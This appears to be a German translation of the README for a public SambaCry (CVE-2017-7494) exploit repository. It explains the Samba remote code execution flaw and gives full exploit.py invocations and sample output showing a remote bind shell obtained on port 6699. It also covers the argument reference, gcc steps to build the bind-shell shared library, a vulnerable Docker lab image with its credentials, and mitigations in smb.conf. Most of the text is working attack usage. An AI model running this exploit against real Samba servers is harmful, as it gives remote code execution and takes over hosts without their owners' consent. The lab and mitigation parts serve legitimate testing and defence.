
SambaCry-Exploit und verwundbarer Container (CVE-2017-7494)
Samba ist eine freie Software-Neuimplementierung des SMB/CIFS-Netzwerkprotokolls. Samba stellt Datei- und Druckdienste für verschiedene Microsoft-Windows-Clients bereit und kann in eine Microsoft-Windows-Server-Domäne integriert werden, entweder als Domänencontroller (DC) oder als Domänenmitglied. Ab Version 4 unterstützt es Active Directory und Microsoft-Windows-NT-Domänen.
Samba in Version 4.5.9 und früher ist anfällig für eine Remote-Codeausführungs-Schwachstelle namens SambaCry. CVE-2017-7494 erlaubt entfernten authentifizierten Benutzern, eine gemeinsam genutzte Bibliothek in einen beschreibbaren freigegebenen Ordner hochzuladen und Codeausführungsangriffe durchzuführen, um die Kontrolle über Server zu übernehmen, die verwundbare Samba-Dienste hosten.
Samba 3.x nach 3.5.0 und 4.x vor 4.4.14, 4.5.x vor 4.5.10 und 4.6.x vor 4.6.4 schränkt den Dateipfad bei der Verwendung von Windows-Named-Pipes nicht ein, was entfernten authentifizierten Benutzern ermöglicht, eine gemeinsam genutzte Bibliothek in einen beschreibbaren freigegebenen Ordner hochzuladen und über eine manipulierte Named Pipe beliebigen Code auszuführen.

Um diesen Exploit ordnungsgemäß auszuführen, benötigen Sie eine gepatchte Version der Python-Bibliothek impacket sowie die weiteren Abhängigkeiten aus der requirements-Datei. Um alle zu installieren, führen Sie bitte Folgendes aus:
pip install -r requirements.txt
Wenn Sie Python3 verwenden, müssen Sie diese Software in einer virtuellen Umgebung ausführen. Bitte befolgen Sie die folgenden Schritte:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # oder wo auch immer Ihr python2.7 liegt
source venv/bin/activate.sh
Danach können Sie sie wie folgt ausführen:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
Wenn Sie beispielsweise die in diesem Repository enthaltene verwundbare Umgebung ausnutzen möchten, führen Sie Folgendes aus:
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
Und Sie erhalten die folgende Ausgabe:
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
Erläuterung der Exploit-Argumente:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t oder —target – Legt den anzugreifenden Remote-Host fest.-e oder —executable – Legt den Pfad auf Ihrem lokalen System fest, unter dem sich die Bibliothek befindet, die Sie laden möchten.-s oder —remoteshare – Die Remote-Freigabe, in die die Datei kopiert wird.-r oder —remotepath – Der Speicherort der Datei auf dem Remote-System.-u oder —user – Der Benutzername für die Anmeldung.-p oder —password – Das Passwort für die Anmeldung.-P oder —remoteshellport – Wenn Sie ein Bind-Shell-Payload verwenden, verbinden Sie sich nach Ausführung des Angriffs mit dem Payload.Um diesen Angriff zu simulieren, können Sie ein verwundbares Docker-Image verwenden. Wenn Docker installiert ist, führen Sie einfach Folgendes aus:
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
Für den Zugriff verwenden Sie die folgenden Anmeldedaten:
sambacrynosambanocryEin Beispiel für ein Bind-Shell-Payload für diesen Exploit finden Sie in der Datei bindshell-samba.c. Ändern Sie es nach Bedarf. Um anschließend ein neues Binary zu erzeugen, verwenden Sie:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.x nach 3.5.0 und 4.x vor 4.4.14, 4.5.x vor 4.5.10 und 4.6.x vor 4.6.4
Fügen Sie den Parameter:
nt pipe support = no
in den Abschnitt [global] Ihrer smb.conf ein und starten Sie smbd neu. Dadurch wird verhindert, dass Clients auf Named-Pipe-Endpunkte zugreifen. Beachten Sie, dass dadurch einige erwartete Funktionen für Windows-Clients deaktiviert werden können.
Erwägen Sie außerdem, das Dateisystem, das Samba für seine beschreibbare Freigabe verwendet, mit der Option noexec zu mounten.
Dieses und frühere Programme dienen NUR Bildungszwecken. Verwenden Sie sie nicht ohne Erlaubnis. Es gilt der übliche Haftungsausschluss, insbesondere die Tatsache, dass ich (opsxcq) nicht für Schäden haftbar bin, die durch direkte oder indirekte Nutzung der von diesen Programmen bereitgestellten Informationen oder Funktionen entstehen. Der Autor oder irgendein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder die missbräuchliche Verwendung dieser Programme oder etwaiger Ableitungen davon. Durch die Verwendung dieser Programme akzeptieren Sie die Tatsache, dass jegliche Schäden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), die durch die Verwendung dieser Programme verursacht werden, nicht in der Verantwortung von opsxcq liegen.